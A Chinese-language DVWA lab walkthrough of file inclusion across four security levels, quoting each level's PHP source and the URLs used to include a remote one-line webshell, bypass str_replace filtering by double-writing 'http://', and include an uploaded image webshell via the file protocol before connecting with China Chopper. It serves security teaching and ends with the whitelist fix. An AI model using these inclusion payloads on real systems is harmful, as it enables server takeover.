DVWA之File Inclusion(文件包含)
目录
LOW:
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到,low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。
当我们包含一个不存在的文件 haha.php ,看看会发生什么情况!
http://127.0.0.1/vulnerabilities/fi/?page=haha.php
可以看到,发生了报错,并且把网站的路径都给暴露出来了。
第一行的那个Warning就是找不到我们指定的haha.php文件,也就是包含不到我们指定的文件,所以Warning。
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
我们可以试下是否存在远端包含,在云端搭了一个一句话木马,然后包含该文件看看:
http://127.0.0.1/vulnerabilities/fi/?page=http://192.168.10.139/xie.php
结果发现成功包含了远端的文件。
那么我们就可以利用中国菜刀进行连接了。
Medium:
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
所以,我们可以试试访问该链接 http://127.0.0.1/vulnerabilities/fi/?page=hthttp://tp://192.168.10.139/xie.php
结果成功包含了远端的文件,所以我们就可以用一句话木马连接了。
相关文章:DVWA文件上传漏洞High级别
High
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not found。
于是,我们可以利用 file 协议进行绕过。file协议我们其实并不陌生,当我们用浏览器打开一个本地的文件时
所以我们可以利用file协议进行包含本地的文件。
当我们想包含一句话木马时,必须配合文件上传漏洞,先把一句话木马上传到服务器端,然后再文件包含,用菜刀连接。
我们先把包含一句话木马的图片利用文件上传漏洞上传到服务器端,然后利用文件包含漏洞和file协议包含该漏洞
所以,当我们访问该链接时
可以看到,成功包含了我们上次的一句话木马图片,把该图片当成php文件执行了
然后,我们就可以利用该链接用中国菜刀进行连接了。
因为这个网站是要登录的,所以我们在菜刀中右键,然后浏览网站,然后登录就可以在菜刀中保持我们的session。然后就可以获取Webshell了。
Impossible
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,impossible级别的代码使用了白名单过滤的方法,包含的文件名只能等于白名单中的文件,所以避免了文件包含漏洞的产生!
相关文章:文件包含漏洞
相关文章
- java基础知识回顾之javaIO类--File类应用:获取指定目录下面的指定扩展名的文件,将文件的绝对路径写入到目的文件当中
- java基础知识回顾之javaIO类--File类应用:递归深度遍历文件
- VC++ 提示无法打开包括文件“iostream.h”怎么办
- 文件归档的学问
- [获取行数]php读取大文件提供性能的方法,PHP的stream_get_line函数读取大文件获取文件的行数的方...
- 文件 File 常见操作 工具 MD
- vue.js3: 用jszip打包压缩图片文件(vue@3.2.37 / jszip@3.10.0 / file-saver@2.0.5)
- Flink(56):Flink高级特性之文件写入(File Sink)
- linux按照文件(夹)大小排序命令:du -d1 /D/* |sort -rn
- [PHP] Nginx与PHP的文件上传大小限制
- file encode - /UI2/CL_HTTP_FILE_ENCODE
- Atitit webdav的使用与配置总结attilax总结 目录 1. 支持的协议2 1.1. http File unc2 2. 应用场景2 2.1. 远程文件管理实现功能 文件建立
- Android file 文件重命名删除详解
- [ Python入门教程 ] Python文件基本操作_shutil模块
- c文件程序把玩
- 【Android 逆向】ART 脱壳 ( DexClassLoader 脱壳 | oat_file_assistant.cc 中涉及的 oat 文件生成流程 )
- 零基础学python-2.17 文件、open()、file()
- Linux使用locate命令定位文件
- L21.linux命令每日一练 -- 第三章 文件过滤及内容编辑处理命令 -- sort和join命令
- 【云原生之kubernetes实战】在k8s环境下部署File Browser文件管理平台
- Qt编译时错误提示::4: error: C1083: 无法打开包括文件: “QTcpSocket”: No such file or directory
- 简化ui文件转换写法
- C# Resources文件中内容的使用
- 如果想要跨平台,在file类下有separtor(),返回锁出平台的文件分隔符
- Spark读取本地文件时报错:java.io.FileNotFountException:file doesn't exist
- Ansible 常用模块之文件操作copy|file文件拷贝与创建
- Altium Designer,打开PCB文件,提示:File type not recognised